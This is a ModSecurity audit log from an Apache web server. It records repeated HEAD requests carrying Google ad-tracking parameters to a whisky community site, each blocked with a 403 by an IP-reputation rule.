[13/Sep/2026:07:32:44.644506 +0300] aqYnbEwu1RSkptiiNIXwFQAAAJY 151.243.174.182 56500 127.0.0.1 7081
--03426f1b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.182
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--03426f1b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--03426f1b-E--
--03426f1b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273964638194 6370 (- - -)
Stopwatch2: 1789273964638194 6370; combined=4774, p1=262, p2=4170, p3=68, p4=7, p5=267, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--03426f1b-Z--
--46f6181b-A--
[13/Sep/2026:07:33:06.997418 +0300] aqYngmM7dE9KgIIOpQhiqgAAAMU 151.243.174.182 54392 127.0.0.1 7081
--46f6181b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.182
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--46f6181b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--46f6181b-E--
--46f6181b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273986989588 7874 (- - -)
Stopwatch2: 1789273986989588 7874; combined=5384, p1=366, p2=4632, p3=76, p4=7, p5=302, sr=127, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--46f6181b-Z--
--15e7e813-A--
[13/Sep/2026:07:33:07.453749 +0300] aqYng2M7dE9KgIIOpQhiqwAAAMA 95.134.102.25 54402 127.0.0.1 7081
--15e7e813-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--15e7e813-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--15e7e813-E--
--15e7e813-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273987440236 13556 (- - -)
Stopwatch2: 1789273987440236 13556; combined=7702, p1=1860, p2=4762, p3=82, p4=8, p5=989, sr=176, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--15e7e813-Z--
--99cb4e4e-A--
[13/Sep/2026:07:33:11.400060 +0300] aqYnh2M7dE9KgIIOpQhirQAAANE 151.243.174.109 54432 127.0.0.1 7081
--99cb4e4e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--99cb4e4e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--99cb4e4e-E--
--99cb4e4e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273991394335 5786 (- - -)
Stopwatch2: 1789273991394335 5786; combined=4125, p1=216, p2=3578, p3=78, p4=7, p5=246, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--99cb4e4e-Z--
--e827f46c-A--
[13/Sep/2026:07:33:11.518066 +0300] aqYnh2M7dE9KgIIOpQhirgAAAMs 151.243.174.182 54446 127.0.0.1 7081
--e827f46c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.182
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e827f46c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e827f46c-E--
--e827f46c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273991512358 5748 (- - -)
Stopwatch2: 1789273991512358 5748; combined=4299, p1=253, p2=3694, p3=100, p4=8, p5=244, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e827f46c-Z--
--6fff4b6c-A--
[13/Sep/2026:07:33:11.995920 +0300] aqYnh2M7dE9KgIIOpQhirwAAANQ 95.134.102.235 54452 127.0.0.1 7081
--6fff4b6c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.235
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--6fff4b6c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6fff4b6c-E--
--6fff4b6c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273991989048 6915 (- - -)
Stopwatch2: 1789273991989048 6915; combined=5354, p1=227, p2=4661, p3=74, p4=8, p5=383, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6fff4b6c-Z--
--af722949-A--
[13/Sep/2026:07:33:19.996678 +0300] aqYnj0wu1RSkptiiNIXwGAAAAIM 45.91.4.90 39406 127.0.0.1 7081
--af722949-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.90
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--af722949-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--af722949-E--
--af722949-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273999988851 7887 (- - -)
Stopwatch2: 1789273999988851 7887; combined=5402, p1=397, p2=4540, p3=119, p4=9, p5=337, sr=168, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--af722949-Z--
--569b150e-A--
[13/Sep/2026:07:33:20.392593 +0300] aqYnkEwu1RSkptiiNIXwGQAAAIc 209.101.128.233 39420 127.0.0.1 7081
--569b150e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.233
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--569b150e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--569b150e-E--
--569b150e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274000374342 18379 (- - -)
Stopwatch2: 1789274000374342 18379; combined=15437, p1=503, p2=14328, p3=128, p4=11, p5=466, sr=275, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--569b150e-Z--
--f84fbf08-A--
[13/Sep/2026:07:33:20.709198 +0300] aqYnkEwu1RSkptiiNIXwGgAAAJA 209.101.128.10 39436 127.0.0.1 7081
--f84fbf08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.10
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f84fbf08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f84fbf08-E--
--f84fbf08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274000701876 7381 (- - -)
Stopwatch2: 1789274000701876 7381; combined=4963, p1=810, p2=3722, p3=109, p4=7, p5=315, sr=122, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f84fbf08-Z--
--96663c32-A--
[13/Sep/2026:07:33:32.206219 +0300] aqYnnDTJ6xTvcJoem7f2mQAAAFg 95.134.102.147 32800 127.0.0.1 7081
--96663c32-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--96663c32-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--96663c32-E--
--96663c32-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274012193456 12825 (- - -)
Stopwatch2: 1789274012193456 12825; combined=5655, p1=423, p2=4810, p3=111, p4=9, p5=302, sr=203, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--96663c32-Z--
--6e634c24-A--
[13/Sep/2026:07:33:32.311725 +0300] aqYnnEwu1RSkptiiNIXwIAAAAIg 151.243.174.142 32816 127.0.0.1 7081
--6e634c24-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6e634c24-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6e634c24-E--
--6e634c24-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274012300940 10878 (- - -)
Stopwatch2: 1789274012300940 10878; combined=8270, p1=398, p2=7067, p3=254, p4=11, p5=539, sr=168, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e634c24-Z--
--7f807f33-A--
[13/Sep/2026:07:34:01.049395 +0300] aqYnuWM7dE9KgIIOpQhiwQAAANI 209.101.128.28 34392 127.0.0.1 7081
--7f807f33-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.28
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--7f807f33-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7f807f33-E--
--7f807f33-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274041037513 11939 (- - -)
Stopwatch2: 1789274041037513 11939; combined=8071, p1=1716, p2=5824, p3=209, p4=10, p5=311, sr=243, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7f807f33-Z--
--466bba60-A--
[13/Sep/2026:07:34:01.344494 +0300] aqYnuUwu1RSkptiiNIXwIwAAAIU 209.101.128.211 34408 127.0.0.1 7081
--466bba60-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.211
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--466bba60-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--466bba60-E--
--466bba60-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274041336241 8322 (- - -)
Stopwatch2: 1789274041336241 8322; combined=6161, p1=345, p2=5368, p3=84, p4=8, p5=356, sr=168, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--466bba60-Z--
--ea39cc08-A--
[13/Sep/2026:07:34:21.567756 +0300] aqYnzWM7dE9KgIIOpQhixQAAANg 95.134.102.220 60102 127.0.0.1 7081
--ea39cc08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.220
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--ea39cc08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ea39cc08-E--
--ea39cc08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274061560792 7019 (- - -)
Stopwatch2: 1789274061560792 7019; combined=5144, p1=356, p2=4402, p3=75, p4=8, p5=303, sr=165, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea39cc08-Z--
--5ece7841-A--
[13/Sep/2026:07:34:21.942219 +0300] aqYnzTTJ6xTvcJoem7f2mgAAAEM 151.243.174.149 60104 127.0.0.1 7081
--5ece7841-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.149
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--5ece7841-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5ece7841-E--
--5ece7841-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274061933844 8417 (- - -)
Stopwatch2: 1789274061933844 8417; combined=6380, p1=362, p2=5544, p3=101, p4=63, p5=310, sr=145, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ece7841-Z--
--94cd6131-A--
[13/Sep/2026:07:34:22.048488 +0300] aqYnzkwu1RSkptiiNIXwJAAAAIo 151.243.174.142 60116 127.0.0.1 7081
--94cd6131-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--94cd6131-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--94cd6131-E--
--94cd6131-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274062041197 7368 (- - -)
Stopwatch2: 1789274062041197 7368; combined=5418, p1=290, p2=4741, p3=97, p4=9, p5=281, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--94cd6131-Z--
--9f0e1307-A--
[13/Sep/2026:07:34:27.442081 +0300] aqYn02M7dE9KgIIOpQhixwAAAME 95.134.102.240 50316 127.0.0.1 7081
--9f0e1307-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.240
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--9f0e1307-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--9f0e1307-E--
--9f0e1307-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274067436545 5582 (- - -)
Stopwatch2: 1789274067436545 5582; combined=4034, p1=214, p2=3447, p3=61, p4=6, p5=306, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9f0e1307-Z--
--11e4d855-A--
[13/Sep/2026:07:34:27.840341 +0300] aqYn02M7dE9KgIIOpQhiyAAAANY 95.134.102.78 50326 127.0.0.1 7081
--11e4d855-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--11e4d855-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--11e4d855-E--
--11e4d855-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274067833871 6520 (- - -)
Stopwatch2: 1789274067833871 6520; combined=4875, p1=244, p2=4246, p3=70, p4=7, p5=307, sr=106, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--11e4d855-Z--
--8b6dd162-A--
[13/Sep/2026:07:34:28.230803 +0300] aqYn1DTJ6xTvcJoem7f2mwAAAFY 151.243.174.165 50340 127.0.0.1 7081
--8b6dd162-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8b6dd162-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8b6dd162-E--
--8b6dd162-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
